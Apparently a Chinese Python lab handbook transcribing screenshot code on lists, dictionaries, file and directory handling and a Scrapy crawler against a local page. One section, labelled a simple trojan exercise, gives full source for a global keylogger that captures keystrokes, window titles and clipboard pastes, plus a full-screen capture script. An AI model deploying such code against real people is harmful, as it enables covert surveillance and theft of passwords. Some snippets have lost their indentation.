Python 课内实验 · 图例代码与源码速查

实验3.1 列表和元组 43 图 · 实验3.2 字典与集合 20 图 · 实验4.1 木马程序源码 2 个文件 · 设计1.2 文件基本操作 17 图 · 设计1.3 目录基本操作 15 图 · 设计2.1 Scrapy框架安装 23 图 · 设计2.2 Scrapy命令行 19 图 · 设计2.3 豆瓣爬取 35 图 · 共 710 行

实验3.1 列表和元组43 图 / 135 行

图 1 红框 1 行

1、环境准备 输入【ipython3】进入Python的解释器中。如图1所示。

ipython3

图 2 红框 6 行

【list2 = ['a','b','c','d']】字符串列表 【list3 = ['simpleedu',123,'shiyanbar',456]】字符串与数字列表 获取list的元素值。如图3所示。

list1 = [1,2,3,4,5]
list1
list2 = ['a','b','c','d']
list2
list3 = ['simpleedu',123,'shiyanbar',456]
list3

图 3 红框 2 行

【list1[0]】获取list1下标为0的元素值 【list2[1:5]】获取list2下标为1到下标为n-1的值,其中n为‘:’后的元素值,此处n为5 修改元素值。如图4所示。

list1[0]
list2[1:5]

图 4 红框 3 行

修改元素值。如图4所示。 【list3[2] = 'simpleware'】修改list3下标为2的元素值 删除元素。如图5所示。

list3[2]
list3[2] = 'simpleware'
list3

图 5 红框 3 行

删除元素。如图5所示。 【del list1[2]】删除list1下标为2的元素值 列表的长度。如图6所示。

list1
del list1[2]
list1

图 6 红框 3 行

【 [1,2,3] + [4,5,6]】列表相加 【['Hi!'] * 4】列表乘 逻辑判断。如图7所示。

len([1,2,3,4,5])
[1,2,3] + [4,5,6]
['Hi!'] * 4

图 7 红框 2 行

【3 in [1,2,3]】逻辑判断 【for x in [1,2,3]:print(x)】迭代 列表截取。如图8所示。

3 in [1,2,3]
for x in [1,2,3]:print(x)

图 8 红框 4 行

【aList[-2]】截取下标为-2的元素值 【aList[1:]】截取下标1及以后的元素值

aList = ['shiyanbar','simpleedu',123,'simpleware',456]
aList[2]
aList[-2]
aList[1:]

图 9 红框 3 行

3、List列表内置函数 【len()】 方法返回列表元素个数。如图9所示。 【max()】 方法返回列表元素中的最大值。

list1,list2 = [123,'shiyanbar','simpleedu',456],['simpleedu',123]
print(len(list1))
print(len(list2))

图 10 红框 3 行

【max()】 方法返回列表元素中的最大值。 【min()】 方法返回列表元素中的最小值。如图10所示。 【list()】 方法用于将元组转换为列表。如图11所示。

list1 = ['shiyanedu','shiyanbar','u-saas','python']
print(max(list1))
print(min(list1))

图 11 红框 4 行

【list()】 方法用于将元组转换为列表。如图11所示。 注:元组与列表是非常类似的,区别在于元组的元素值不能修改,元组是放在括号中,列表是放于方括号中。

aTuple = (123,'simpleware','shiyanbar',456)
aList = list(aTuple)
print(aList)
print(aTuple)

图 12 红框 4 行

【append() 】方法用于在列表末尾添加新的对象。 该方法无返回值,但是会修改原来的列表。如图12所示。 【count() 】方法用于统计某个元素在列表中出现的次数。

aList = ['shiyanbar',456,'simple',123]
print(aList)
aList.append('simpleedu')
print(aList)

图 13 红框 3 行

【count() 】方法用于统计某个元素在列表中出现的次数。 返回元素在列表中出现的次数。如图13所示。 【extend()】 函数用于在列表末尾一次性追加另一个序列中的多个值(用新列表扩展原来的列表)。

aList = ['simpleedu','shiyanbar','shiyanbar','simpleedu','shiyanbar']
print(aList.count('simpleedu'))
print(aList.count('shiyanbar'))

图 14 红框 4 行

【extend()】 函数用于在列表末尾一次性追加另一个序列中的多个值(用新列表扩展原来的列表)。 该方法没有返回值,但会在已存在的列表中添加新的列表内容。如图14所示。 【index()】 函数用于从列表中找出某个值第一个匹配项的索引位置。

aList = ['shiyanbar','simpleware',123]
bList = [456,'simpleedu']
aList.extend(bList)
print(aList)

图 15 红框 3 行

【index()】 函数用于从列表中找出某个值第一个匹配项的索引位置。 该方法返回查找对象的索引位置,如果没有找到对象则抛出异常。如图15所示。 【insert()】 函数用于将指定对象插入列表的指定位置。

aList = ['simpleedu','simpleware','shiyanbar','simpleedu','shiyanbar']
print(aList.index('simpleedu'))
print(aList.index('shiyanbar'))

图 16 红框 3 行

【insert()】 函数用于将指定对象插入列表的指定位置。 该方法没有返回值,但会在列表指定位置插入对象。如图16所示。 【pop() 】函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。如图17所示。

aList = ['shiyanbar','simpleware',123]
aList.insert(1,'simpleedu')
print(aList)

图 17 红框 4 行

图16 【pop() 】函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。如图17所示。 【remove()】 函数用于移除列表中某个值的第一个匹配项。

aList = [456,'simpleware',123,'simpleedu','shiyanbar']
print(aList.pop())
print(aList.pop(1))
print(aList)

图 18 红框 3 行

【remove()】 函数用于移除列表中某个值的第一个匹配项。 该方法没有返回值但是会移除两种中的某个值的第一个匹配项。如图18所示。 【reverse()】 函数用于反向列表中元素。

aList = ['simpleedu','shiyanbar','shiyanbar','simpleedu','shiyanbar']
aList.remove('simpleedu')
print(aList)

图 19 红框 3 行

【reverse()】 函数用于反向列表中元素。 该方法没有返回值,但是会对列表的元素进行反向排序。如图19所示。 【sort()】 函数用于对原列表进行排序,如果指定参数,则使用比较函数指定的比较函数。

aList = [456,'simpleware',123,'simpleedu','shiyanbar']
aList.reverse()
print(aList)

图 20 红框 3 行

【sort()】 函数用于对原列表进行排序,如果指定参数,则使用比较函数指定的比较函数。 该方法没有返回值,但是会对列表的对象进行排序。如图20所示。 【clear()】函数用于清空列表,类似于 del a[:]。如图21所示。

aList = ['python','u-saas','shiyanbar','simpleedu','simpleBDT']
aList.sort()
print(aList)

图 21 红框 3 行

图20 【clear()】函数用于清空列表,类似于 del a[:]。如图21所示。 【copy()】函数用于复制列表,类似于 a[:]。如图22所示。

aList = ['python','u-saas','shiyanbar','simpleedu','simpleBDT']
aList.clear()
print(aList)

图 22 红框 3 行

图21 【copy()】函数用于复制列表,类似于 a[:]。如图22所示。

aList = ['python','u-saas','shiyanbar','simpleedu','simpleBDT']
bList = aList.copy()
print(bList)

图 23 红框 4 行

【tup3 = ()】空元组 【tup4 = (1,)】元组中只包含一个元素时,需要在元素后面添加逗号 获取Tuple的元素值,如图24所示。

tup1 = ('python','numpy',2018,834525)
tup2 = (1,2,3,4,5)
tup3 = ()
tup4 = (1,)

图 24 红框 2 行

【tup1[0]】获取tup1下标为0的元素值 【tup2[1:5]】获取tup2下标为1与下标为5的元素值 元组中的元素值是不允许修改的,但可以对元组进行连接组合,如图25所示。

tup1[0]
tup2[1:5]

图 25 红框 4 行

元组中的元素值是不允许修改的,但可以对元组进行连接组合,如图25所示。 【tup3 = tup1 + tup2】创建新的元组 元组中的元素值是不允许删除的,但我们可以使用del语句来删除整个元组。元组被删除后,输出变量会有异常信息。如图26所示。

tup1 = (1,2,3)
tup2 = ('a','b','c')
tup3 = tup1 + tup2
tup3

图 26 红框 4 行

元组中的元素值是不允许删除的,但我们可以使用del语句来删除整个元组。元组被删除后,输出变量会有异常信息。如图26所示。 【del tup1】删除指定的tup1 判断元组的长度,如图27所示。

tup1 = ('python','numpy',2018,834525)
tup1
del tup1
tup1

图 27 红框 3 行

【 (1,2,3) + (4,5,6)】元组相加 【('Hi!',) * 4】元组乘 元组数据逻辑判断,如图28所示。

len((1,2,3))
(1,2,3) + (4,5,6)
('Hi!',) * 4

图 28 红框 2 行

【3 in (1,2,3)】逻辑判断 【for x in (1,2,3):print(x,)】迭代 元组数据的截取,如图29所示。

3 in (1,2,3)
for x in (1,2,3):print(x,)

图 29 红框 4 行

【tup[-2]】截取下标为-2的元素值 【tup[1:]】截取下标1及以后的元素值

tup = ('simpleware','shiyanbar','simpleedu')
tup[2]
tup[-2]
tup[1:]

图 30 红框 3 行

【max()】 方法返回元组元素中的最大值。 【min()】 方法返回元组元素中的最小值。 【tuple()】 方法用于将列表转换为元组。如图31所示。

tup = ('simpleware','shiyanbar','simpleedu','simpleBDT')
max(tup)
min(tup)

图 31 红框 2 行

【tuple()】 方法用于将列表转换为元组。如图31所示。 注:元组与列表是非常类似的,区别在于元组的元素值不能修改,元组是放在括号中,列表是放于方括号中。

aList = ['shiyanbar',456,'simpleware',123]
tuple(aList)

图 32 无红框 · 仅命令

7、 整数 输入命令“name=[‘Tom’,’jack’,’Beta’]”生成一个name列表、输入命令“name”,查看name列表中的数值、输入命令“len(name)”,查看name列表中元素个数。如图32所示

name=['Tom','jack','Beta']
name
len(name)

图 33 无红框 · 仅命令

图32 输入命令“name[0]”、“name[1]”、“name[2]“、“name[3]”。列表索引从数值0开始,其中name[3]超出索引范围,报IndexError错误,最后一个元素的索引是len(name)-1。如图33所示

name[0]
name[1]
name[2]
name[3]

图 34 无红框 · 仅命令

图33 输入命令“name[-1]”、输入命令“name[len(name)-1]”取最后一个元素,除了计算索引位置外,还可以用-1做索引,直接获取最后一个元素。如图34所示

name[-1]
name[len(name)-1]

图 35 无红框 · 仅命令

图34 输入命令“name.append(‘admin’)”、输入命令“name”,查看name列表元素个数,append()方法默认在列表末尾插入元素。输入命令“name.insert(1,‘administrator’)”、输入命令“name”,查看name列表元素个数,insert()方法在指定位置插入元素。如图35所示

name.append('admin')
name
name.insert(1,'administrator')
name

图 36 无红框 · 仅命令

图35 输入命令“name.pop()”、输入命令“name”,查看name列表元素个数,pop()方法默认弹出列表末尾元素。输入命令“name.pop(1)”、输入命令“name”,查看name列表元素个数,pop(索引)弹出指定位置元素、输入命令“name[0]=‘Bob’”、输入命令“name”,查看name列表元素个数,把指定元素替换成其它元素,直接赋值给对应的索引位置。如图36所示

name.pop()
name
name.pop(1)
name
name[0]='Bob'
name

图 37 无红框 · 仅命令

图36 输入命令“M=[‘orange’,’8264’,’purple’]”、输入命令“M”,查看列表元素,列表中可以包含元素的不同数据类型。输入命令“L=[‘pink’,’[‘bears’,‘pigs’,‘penguins’]’,’blue’]”、输入命令“L”,查看列表元素,列表中可以包含列表,形成二维数组。如图37所示

M=['orange','8264','purple']
M
L=['pink',['bears','pigs','penguins'],'blue']
L

图 38 无红框 · 仅命令

图37 输入命令“L[1][1]”输出二位数组中“pigs“元素。如图38所示

L
L[1][1]

图 39 无红框 · 仅命令

8、 元组 输入命令“test=(‘chair’,‘desk’,‘window’)”创建一个包含三个元素的test元组、输入命令“test[0]”、输入命令“test[1]”、输入命令“test[2]“,查看test元组包含元素。元组创建后不能改变,append(),insert()方法。如图39所示

test=('chair','desk','window')
test[0]
test[1]
test[2]

图 40 无红框 · 仅命令

图39 输入命令“sz=(1)”、输入命令“yz=(1,)”,在python中括号()既可以表示元组,又可以表示数学公式中的小括号,产生了歧义,默认按小括号进行计算。在只有1个元素的元组定义时,在末尾必须加一个逗号。如图40所示

sz=(1)
sz
yz=(1,)
yz

图 41 无红框 · 仅命令

图40 输入命令“x=('bell',['mouse','bath'],'bed')”、输入命令“x[1][0]='beige'”、输入命令“x[1][1]='rad’”、输入命令“x”,查看元组包含的元素。如图41所示

x=('bell',['mouse','bath'],'bed')
x[1][0]='beige'
x[1][1]='red'
x

图 42 无代码

图41 X元组初始化时,包含的3个元素,分别是字符串'bell'、字符串'bed'和一个list。如图42所示

示意图:元组内含列表的内存结构(无代码)

图 43 无代码

图42 列表中的元素'mouse'和'bath'修改为'beige'和'rad'。元组包含元素内容变了,但内容改变的为list元素。tuple指向的list没有改变。元组指向永远不变。但指向的list本身是可变的。要创建一个内容也不变的元组,必须保证元组的每一个元素本身也不能变。如图43所示

示意图:修改元素后的内存结构(无代码)

实验3.2 字典与集合(5.1–5.4)20 图 / 71 行

任务书原文未标注图号,这里的 图1–图20 按图片出现顺序编号。

图 1 红框 1 行 环境准备

1、环境准备 输入【ipython3】进入Python的解释器中。如下图所示。

ipython3

图 2 红框 2 行 字典创建

字典是另一种可变容器模型,且可存储任意类型对象。 字典的每个键值(key=>value)对用冒号(:)分割,每个对之间用逗号(,)分割,整个字典包括在花括号({})中 。如下图所示。

dict = {'Name':'Zara','Age':7,'Class':'First'}
dict

图 3 红框 3 行 字典创建

访问字典里的值。把相应的键放入熟悉的方括号,如果用字典里没有的键访问数据,会输出错误。如下图所示。

dict['Name']
dict['Age']
dict['Alice']

图 4 红框 5 行 字典创建

修改字典。向字典添加新内容的方法是增加新的键值对,修改或删除已有键值对。如下图所示。

dict = {'Name':'Zara','Age':7,'Class':'First'}
dict
dict['Age'] = 8
dict['School'] = 'DFS School'
dict

图 5 红框 6 行 字典创建

删除字典元素。能删单一的元素也能清空字典,清空只需一项操作。删除一个字典用del命令。如下图所示。 【dict.clear()】清空词典所有条目

dict = {'Name':'Zara','Age':7,'Class':'First'}
del dict['Name']
dict
dict.clear()
del dict
dict['Age']

图 6 红框 2 行 字典内置函数

3、字典内置函数 【len()】函数计算字典元素个数,即键的总数。返回字典的元素个数。如下图所示。

dict = {'Name':'Zara','Age':7}
len(dict)

图 7 红框 2 行 字典内置函数

【str()】函数将值转化为适于人阅读的形式,以可打印的字符串表示。返回字符串。如下图所示。

dict = {'Name':'Zara','Age':7}
str(dict)

图 8 红框 2 行 字典内置函数

【type()】函数返回输入的变量类型,如果变量是字典就返回字典类型。如下图所示。

dict = {'Name':'Zara','Age':7}
type(dict)

图 9 红框 4 行 字典内置方法

4、字典内置方法 【clear()】函数用于删除字典内所有元素。该函数没有任何返回值。如下图所示。

dict = {'Name':'Zara','Age':7}
len(dict)
dict.clear()
len(dict)

图 10 红框 3 行 字典内置方法

【copy()】函数返回一个字典的浅复制。返回一个字典的浅复制。如下图所示。

dict1 = {'Name':'Zara','Age':7}
dict2 = dict1.copy()
str(dict2)

图 11 红框 5 行 字典内置方法

【fromkeys()】函数用于创建一个新字典,以序列seq中元素做字典的键,value为字典所有键对应的初始值。返回列表。如下图所示。

seq = ('name','age','sex')
dict = dict.fromkeys(seq)
str(dict)
dict = dict.fromkeys(seq,10)
str(dict)

图 12 红框 3 行 字典内置方法

【get()】函数返回指定键的值,如果key在字典中返回默认的value值。不在字典中返回指定键的值。如下图所示。

dict = {'Name':'Zara','Age':7}
dict.get('Age')
dict.get('Sex','Never')

图 13 红框 9 行 字典内置方法

in 操作符用于判断键是否存在于字典中,如果键在字典dict里返回true,否则返回false。如下图所示。

dict = {'Name':'Zara','Age':7}
if 'Name' in dict:
print('Name exist')
else:
print('Name not exist')
if 'School' in dict:
print('school exist')
else:
print('school not exist')

图 14 红框 4 行 字典内置方法

items() 函数以列表返回可遍历的(键, 值) 元组数组。如下图所示。

dict = {'Google':'www.google.com','xipu':'www.shiyanbar','taobao':'www.taobao.com'}
dict.items()
for key,values in dict.items():
print(key,values)

图 15 红框 2 行 字典内置方法

【keys()】函数以列表返回一个字典所有的键。如下图所示。

dict = {'Name':'Zara','Age':7}
dict.keys()

图 16 红框 5 行 字典内置方法

【setdefault(key, default=None)】key在字典中,返回对应的值。如果不在字典中,则插入key及设置的默认值default,并返回default ,default默认值为None。如下图所示。

dict = {'Name':'Zara','Age':7}
dict
dict.setdefault('Age',None)
dict.setdefault('School',None)
dict

图 17 红框 4 行 字典内置方法

【update()】函数把字典dict2的键值对更新到dict里。没有任何返回值。如下图所示。

dict1 = {'Name':'Zara','Age':7}
dict2 = {'Sex':'female'}
dict1.update(dict2)
dict1

图 18 红框 2 行 字典内置方法

【values()】函数以列表返回字典中的所有值。如下图所示。

dict = {'Name':'Zara','Age':7}
dict.values()

图 19 红框 3 行 字典内置方法

【pop()】方法删除字典给定键 key 所对应的值,返回值为被删除的值。key值必须给出。 否则,返回default值。返回被删除的值。如下图所示。

site = {'Name':'xipu','Alexa':10000,'Url':'www.shiyanbar.com'}
pop_obj = site.pop('Name')
print(pop_obj)

图 20 红框 4 行 字典内置方法

【popitem()】方法随机返回并删除字典中的一对键和值。 如果字典已经为空,却调用了此方法,就报出KeyError异常。返回一个键值对(key,value)形式。如下图所示。

site = {'Name':'xipu','Alexa':10000,'Url':'www.shiyanbar.com'}
pop_obj = site.popitem()
print(pop_obj)
print(site)

实验4.1 Python 编写简易木马程序2 个源文件 / 89 行

按任务书截图逐字转写,整文件一次性复制即可,无需逐行挑选。

TestSixteen.py 60 行

键盘记录器:pyHook 全局钩子监听击键,ctypes 取当前窗口与进程,win32com 抓剪贴板

# -*- coding: utf-8 -*-
from ctypes import *
import pythoncom
import pyHook
import win32com
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

def get_current_process():
    # 获取最上层的窗口句柄
    hwnd = user32.GetForegroundWindow()
    # 获取进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd,byref(pid))
    # 将进程ID存入变量中
    process_id = "%d" % pid.value
    # 申请内存
    executable = create_string_buffer("\x00"*512)
    h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
    # 读取窗口标题
    windows_title = create_string_buffer("\x00"*512)
    length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
    # 打印
    print()
    print("[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value))
    print()
    # 关闭handles
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)
# 定义击键监听事件函数
def KeyStroke(event):
    global current_window
    # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
    if event.WindowName != current_window:
        current_window = event.WindowName
        # 函数调用
        get_current_process()
    # 检测击键是否常规按键(非组合键等)
    if event.Ascii > 32 and event.Ascii <127:
        print(chr(event.Ascii),)
    else:
        # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
        if event.Key == "V":
            win32com.OpenClipboard()
            pasted_value = win32com.GetClipboardData()
            win32com.CloseClipboard()
            print("[PASTE]-%s" % (pasted_value),)
        else:
            print("[%s]" % event.Key,)
    # 循环监听下一个击键事件
    return True
# 创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()

TestSixteen-Two.py 29 行

全屏截图:win32gui/win32ui 建设备描述表,BitBlt 拷贝到内存位图后存盘

# -*- coding: utf-8 -*-
import win32gui
import win32ui
import win32con
import win32api

# 获取桌面
hdesktop = win32gui.GetDesktopWindow()
# 分辨率适应
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
# 创建设备描述表
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
# 创建一个内存设备描述表
mem_dc = img_dc.CreateCompatibleDC()
# 创建位图对象
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)
# 截图至内存设备描述表
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
# 将截图保存到文件中
screenshot.SaveBitmapFile(mem_dc, 'C:\\screenshot.bmp')
# 内存释放
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

设计1.2 Python 文件基本操作17 图 / 62 行

图 1 红框 1 行

5.1 环境准备:输入【ipython3】进入 Python 的解释器中。

ipython3

图 2 红框 2 行

5.2 文件模式 1、打开文件(默认 r 只读)。用 open() 返回文件对象,read() 一次性读出全部内容。

data = open('/data/dataset/file/file1.txt').read()
print(data)

图 3 红框 3 行

5.2 1、打开文件:显式指定只读模式 'r',再读文件。file1.txt 内容是四行文本。

f = open('/data/dataset/file/file1.txt','r')
data = f.read()
print(data)

图 4 红框 4 行

5.2 3、写文件:使用 w 时事实上是创建了一个新文件,源文件存在则覆盖(不可读)。write() 返回写入字符数。

f = open('/data/dataset/file/file2.txt','w')
f.write('I am shiyanbar!')
f.write('\nshiyanbar\n')
f.flush()

图 5 红框 1 行

5.2 4、【!cat /data/dataset/file/file2.txt】查看写入的信息。

!cat /data/dataset/file/file2.txt

图 6 红框 3 行

5.2 5、追加文件:a 模式可读、不存在则创建、存在则只在末尾追加。

f = open('/data/dataset/file/file2.txt','a')
f.write('\nHello shiyanbar\n')
f.flush()

图 7 红框 1 行

5.2 6、【!cat /data/dataset/file/file2.txt】查看追加后的信息。

!cat /data/dataset/file/file2.txt

图 8 红框 6 行

5.3 1、【readline()】读取的是文件的单行;【close()】关闭文件。用 for 循环读取 3 行,空格占一行。

f = open('/data/dataset/file/file3.txt','r')
print(f.readline())
print(f.readline())
for i in range(3):
print(f.readline())
f.close()

图 9 红框 6 行

5.3 2、【readlines()】读取文件全部行,每行作为一个元素形成列表,只适合读小文件。下面用 enumerate 取行号,第 10 行前插一条分隔线。
注:原截图省略了打开文件那一句,直接用 f.readlines() 会报错,已在首行补上 f = open('/data/dataset/file/file3.txt','r')。

f = open('/data/dataset/file/file3.txt','r')
for index,line in enumerate(f.readlines()):
if index == 9:
print('----------')
continue
print(line.strip())

图 10 红框 6 行

5.3 3、【print(f.tell())】读取光标所在位置;刚开始是 0,读两行后变成 59。

f = open('/data/dataset/file/file3.txt', 'r')
print(f.tell())
print(f.readline())
print(f.readline())
print(f.tell())
f.close()

图 11 红框 7 行

5.3 4、【f.seek(0)】使光标回到原点,之后 tell() 重新变回 0。

f = open('/data/dataset/file/file3.txt', 'r')
print(f.tell())
print(f.readline())
print(f.tell())
f.seek(0)
print(f.tell())
f.close()

图 12 红框 3 行

5.3 5、【f.fileno()】获得文件描述符,是一个数字。

f = open('/data/dataset/file/file3.txt','r')
print(f.fileno())
f.close()

图 13 红框 3 行

5.3 6、【f.name】获得文件的名字(打开时用的完整路径)。

f = open('/data/dataset/file/file3.txt','r')
print(f.name)
f.close()

图 14 红框 6 行

5.3 7、【f.flush()】刷新输出缓存:写入的内容先存在内存缓存,flush 之后才保存到硬盘。

f = open('/data/dataset/file/file4.txt','w')
f.write('shiyanbar\n')
f.flush()
f.write('simpleBDP\n')
f.flush()
f.close()

图 15 红框 1 行

5.3 8、执行【!cat /data/dataset/file/file4.txt】查看写入的信息。

!cat /data/dataset/file/file4.txt

图 16 红框 4 行

5.3 9、truncate() 截断文件【f.truncate(6)】:保留文件前 6 个字符,其余截断。

f = open('/data/dataset/file/file4.txt','a')
f.truncate(6)
f = open('/data/dataset/file/file4.txt').read()
print(f)

图 17 红框 4 行

5.3 10、打印进度条的小方法:【sys.stdout.write('#')】同一行打印,【sys.stdout.flush()】每打印一次写入一次,【time.sleep(0.3)】每次隔 0.3 秒。

import sys
import time
for i in range(10):
sys.stdout.write('#')
sys.stdout.flush()
time.sleep(0.3)

设计1.3 Python 目录基本操作15 图 / 53 行

图 1 红框 1 行

环境准备:输入【ipython3】进入 Python 的解释器中。

ipython3

图 2 红框 4 行

导入 os、shutil 模块;os.getcwd() 查看当前工作目录,os.chdir() 切换工作目录。

import os,shutil
os.getcwd()
os.chdir('/data/resource')
os.getcwd()

图 3 红框 2 行

创建目录 os.mkdir(),并用 !ls 在 notebook 里调 shell 确认目录已建。

os.mkdir('file')
!ls /data/resource

图 4 红框 2 行

重命名目录 os.rename(),再用 !ls 确认改成了 newfile。

os.rename('file','newfile')
!ls /data/resource

图 5 红框 2 行

删除空目录 os.rmdir(),rmdir 只能删空目录。

os.rmdir('newfile')
!ls /data/resource

图 6 红框 3 行

再建一个目录 files,用 shutil.move() 把整个目录移动到 /data/ 下,!ls /data 确认移动结果。

os.mkdir('files')
!ls /data/resource
shutil.move('files','/data/')
!ls /data

图 7 红框 2 行

复制目录树 shutil.copytree():把 /data/files 整体复制成 /data/resource/newfiles。

shutil.copytree('/data/files','/data/resource/newfiles')
!ls /data/resource

图 8 红框 2 行

递归删除目录树 shutil.rmtree():连同目录下所有内容一起删除,不可恢复。

shutil.rmtree('/data/files')
shutil.rmtree('/data/resource/newfiles')

图 9 红框 2 行

进入图像目录 /data/dataset/image,ls 看到 10 张 png。

cd /data/dataset/image/
ls

图 10 红框 2 行

切到 /data/resource,用 vim 新建脚本 updateImageName.py。

cd /data/resource/
vim updateImageName.py

图 11–13 vim · updateImageName.py · 27 行

图 11、12、13 三张截图拼起来才是完整文件:先是脚本头(shebang + 导入 os、time),接着是 change_image() 递归改名函数,最后是主程序调用段。整段复制即可,不用逐行挑。

#!/usr/bin/python3
import os
import time

def change_image(path):
    global i
    if not os.path.isdir(path) and not os.path.isfile(path):
        return False
    if os.path.isfile(path):
        file_path = os.path.split(path)
        lists = file_path[1].split('.')
        file_ext = lists[-1]
        img_ext = ['bmp','jpeg','gif','psd','png','jpg']
        if file_ext in img_ext:
            os.rename(path,file_path[0] + '/' + lists[0] + '_shiyanbar.' + file_ext)
            i += 1
    elif os.path.isdir(path):
        for x in os.listdir(path):
            change_image(os.path.join(path,x))

image_path = '/data/dataset/image'
start = time.time()
i = 0
change_image(image_path)
walk_time = int((time.time() - start) * 1000)
print('waiting time %s sec' % walk_time)
print('All image is %s' % i)

图 12 同一文件片段 · 已并入图 11–13

这一段就是上面完整文件里的 change_image() 函数,已并入图 11–13 的整段代码,不必单独复制。

图 13 同一文件片段 · 已并入图 11–13

这一段是上面完整文件里的主程序调用部分,已并入图 11–13 的整段代码,不必单独复制。

图 14 红框 1 行

运行脚本:python3 updateImageName.py,输出等待时间与改名总数 10。

python3 updateImageName.py

图 15 红框 2 行

回到图像目录 ls 验证:10 张图全部变成 *_shiyanbar.png。

cd /data/dataset/image/
ls

设计2.1 Scrapy 框架的安装及使用23 图 / 84 行

图 1 红框 2 行

实验准备:切到 /home,看目录里有什么(simple、soft 两个目录)。

cd /home/
ls

图 2 红框 2 行

建一个 scrapy 目录,用来放后面所有项目。

mkdir scrapy
ls

图 3 红框 1 行

用 pip3 安装 scrapy(走清华源,输出依赖已满足即装好)。

pip3 install scrapy

图 4 红框 1 行

不带参数运行 scrapy,看可用命令列表(Scrapy 1.5.0)。

scrapy

图 5 红框 2 行

实验用本地搭的美剧站,先起 Tomcat 提供 8080 服务。

cd soft/apache-tomcat/bin/
./startup.sh

图 6 无代码 · 界面截图

浏览器访问 localhost:8080/movie/meiju.html,确认要爬的页面能打开(美剧天堂最近更新列表)。

图 7 红框 2 行

创建 movie 项目。

cd scrapy/
scrapy startproject movie

图 8 红框 1 行

tree 看项目结构:scrapy.cfg + movie/movie/{items,settings,pipelines,middlewares,spiders}。

tree

图 9 红框 2 行

进包目录,用 vim 编辑 items.py。

cd movie/movie/
vim items.py

图 10 vim · items.py · 13 行

items.py:定义 MovieItem,加一个 name 字段(截图红框圈的就是这一行)。

# -*- coding: utf-8 -*-

# Define here the models for your scraped items
#
# See documentation in:
# https://doc.scrapy.org/en/latest/topics/items.html

import scrapy

class MovieItem(scrapy.Item):
    # define the fields for your item here like:
    # name = scrapy.Field()
    name = scrapy.Field()

图 11 红框 2 行

进 spiders 目录,用 vim 新建 meiju.py。

cd spiders/
vim meiju.py

图 12 vim · meiju.py · 10 行

meiju.py 第一版:只设 name / allowed_domains / start_urls,parse 先留空。

#!/usr/bin/python3
import scrapy
from movie.items import MovieItem
class MeijuSpider(scrapy.Spider):
    name = 'meiju'
    allowed_domains = ['meijutt.com']
    start_urls = ['http://localhost:8080/movie/meiju.html']

    def parse(self, response):
        pass

图 13 红框 2 行

回项目根目录跑爬虫(这一版 parse 是空的,所以抓不到数据)。

cd ../../
scrapy crawl meiju

图 14 红框 1 行

运行结束的日志:Crawled (200) 新100页,stats 里 request/response 各 2 次(一个 200 一个 404)。

scrapy crawl meiju

图 15 整段 HTML · 11 行

在浏览器里按 F12 看源码,红框是写 xpath 的两处依据:ul class="top-list fn-clear"、条目里的 a title。

<ul class="top-list  fn-clear">
  <li>
    <div class="lasted-num fn-left">...</div>
    <h5>
      <a href="/content/meiju23086.html" title="邪恶力量第十三季" target="_blank">邪恶力量第十三季</a>
    </h5>
    <span class="statel new100 statel1">...</span>
    <span class="mjjd">魔幻, 惊悚, 悬疑, 剧情</span>
    <span class="mjtw">CW</span>
  </li>
</ul>

图 16 红框 2 行

再回 spiders 目录 vim meiju.py,把 parse 补上。

cd movie/spiders/
vim meiju.py

图 17 vim · meiju.py · 16 行

meiju.py 第二版:parse 里用 xpath 取每个 li,逐个提取 h5/a 的 title 交给 yield。

#!/usr/bin/python3

import scrapy
from movie.items import MovieItem

class MeijuSpider(scrapy.Spider):
    name = 'meiju'
    allowed_domains = ['meijutt.com']
    start_urls = ['http://localhost:8080/movie/meiju.html']

    def parse(self,response):
        movies = response.xpath('//ul[@class="top-list  fn-clear"]/li')
        for each_movie in movies:
            item = MovieItem()
            item['name'] = each_movie.xpath('./h5/a/@title').extract()[0]
            yield item

图 18 红框 2 行

背一级回到包目录,vim settings.py 打开管道配置。

cd ..
vim settings.py

图 19 vim · settings.py · 3 行

settings.py 里把 MoviePipeline 挂到 ITEM_PIPELINES,优先级 100。

ITEM_PIPELINES = {
    'movie.pipelines.MoviePipeline': 100,
}

图 20 红框 1 行

再 vim pipelines.py 写管道。

vim pipelines.py

图 21 vim · pipelines.py · 4 行

pipelines.py:process_item 把 item 的 name 追加写进 movies.txt。

class MoviePipeline(object):
    def process_item(self, item, spider):
        with open("movies.txt","a") as fp:
            fp.write(item["name"] + "\n")

图 22 红框 2 行

回项目根目录再跑一次,这次数据会落盘。

cd ..
scrapy crawl meiju

图 23 红框 2 行

ls 看到 movies.txt,cat 出来就是爬到的 13 条剧名。

ls
cat movies.txt

设计2.2 Scrapy 命令行工具19 图 / 45 行

图 1 红框 2 行

实验准备:切到 /home 并看目录。

cd /home/
ls

图 2 红框 2 行

建 scrapy 目录。

mkdir scrapy
ls

图 3 红框 2 行

起 Tomcat 提供本地 8080 服务。

cd soft/apache-tomcat/bin/
./startup.sh

图 4 无代码 · 界面截图

浏览器访问 localhost:8080/baidu/baidu.html,确认本地百度镜像页能打开。

图 5 红框 3 行

建 shiyanbar 项目并 ls 确认。

cd /home/scrapy/
scrapy startproject shiyanbar
